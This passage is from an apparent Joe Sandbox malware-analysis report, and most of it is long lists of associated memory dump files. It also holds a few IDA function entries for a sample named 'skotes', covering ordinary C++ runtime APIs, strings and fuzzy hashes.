Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 602e640aca8ddd6b3e21bdbc711d92558f5379db228be373b83c35e6ad817993
Instruction ID: cc8b3facc327749b78faed6c5239e06d429aaa07cf3160c494f7de7d015abf63
Opcode Fuzzy Hash: 602e640aca8ddd6b3e21bdbc711d92558f5379db228be373b83c35e6ad817993
Instruction Fuzzy Hash: 6111383AA002109BCF55FF68C8859ED77BBAF84360B084065ED12AB342DB74ED05CBD0

Function 00047630 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00047654
__Mtx_unlock.LIBCPMT ref: 000476AA

Strings

L/ds, xrefs: 00047641, 00047691

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID: L/ds
API String ID: 1418687624-185251681
Opcode ID: 90d7147d3fcb137164138d7ab09390458b7c24b6ca87e3d36663b965db123563
Instruction ID: a002f78a801840fc05e6c7fa5c5ef8ff1a08cf2b99d2ea22e8044ec422e03d58
Opcode Fuzzy Hash: 90d7147d3fcb137164138d7ab09390458b7c24b6ca87e3d36663b965db123563
Instruction Fuzzy Hash: CB0126B1E48548BBE711CF58DD01F52B7E8E705B20F00867AFC19C3B92EB7A94108654

Function 00050C5C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_NonReentrantLock::_Acquire.LIBCONCRT ref: 00050CD7
Concurrency::details::ResourceManager::ResourceManager.LIBCONCRT ref: 00050D2A

Strings

p[, xrefs: 00050CCF

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$AcquireConcurrency::details::Concurrency::details::_Lock::_ManagerManager::Reentrant
String ID: p[
API String ID: 3303180142-2334363001
Opcode ID: 54fa3815950e8d473ec40930af31b9ff09e02b4c6ed18e46f626df7e0709b805
Instruction ID: f5ed5847972c41b6885c78fb97a743b642306046178f71160a237b9c29b7cf68
Opcode Fuzzy Hash: 54fa3815950e8d473ec40930af31b9ff09e02b4c6ed18e46f626df7e0709b805
Instruction Fuzzy Hash: 7201B570A056059ADB21EFF9695139F66F06B48342F60046FEC05EB283CF344F488766

Function 00032B30 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00032B63

Strings

L/ds, xrefs: 00032B36
This function cannot be called on a default constructed task, xrefs: 00032B43

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: L/ds$This function cannot be called on a default constructed task
API String ID: 2659868963-3541347720
Opcode ID: 699a65e6079483f42f1557a2862a776591966d55275d5b69076f5dd7ebebdc72
Instruction ID: 097dd1d999f41bd5a38413560215f2320e894ac3b1cbacd6016dbe6a04921f69
Opcode Fuzzy Hash: 699a65e6079483f42f1557a2862a776591966d55275d5b69076f5dd7ebebdc72
Instruction Fuzzy Hash: E1F08271D102089BC710EF68D8419DEBBF9AF55300B5042AEE84067201EB741A588B95

Function 0005B92C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 0005B94E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0005B961

Strings

pContext, xrefs: 0005B959

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: 228336a0afc2054b1c7426f319fd690096f17bb3b3c3252525b3b1eca17baaf5
Instruction ID: 85474baea8f15f754bd3d6e2e9759d8e9f1f2595c5280fb3e7105bbadbaec7be
Opcode Fuzzy Hash: 228336a0afc2054b1c7426f319fd690096f17bb3b3c3252525b3b1eca17baaf5
Instruction Fuzzy Hash: EDE0D839B0020467CB04B7A4D84ACDEB7BDAFC47207044125EA51A7392EB74AA05CBD0

Function 000534CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 000534FC

Strings

pScheduler, xrefs: 000534F4
version, xrefs: 000534E1

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
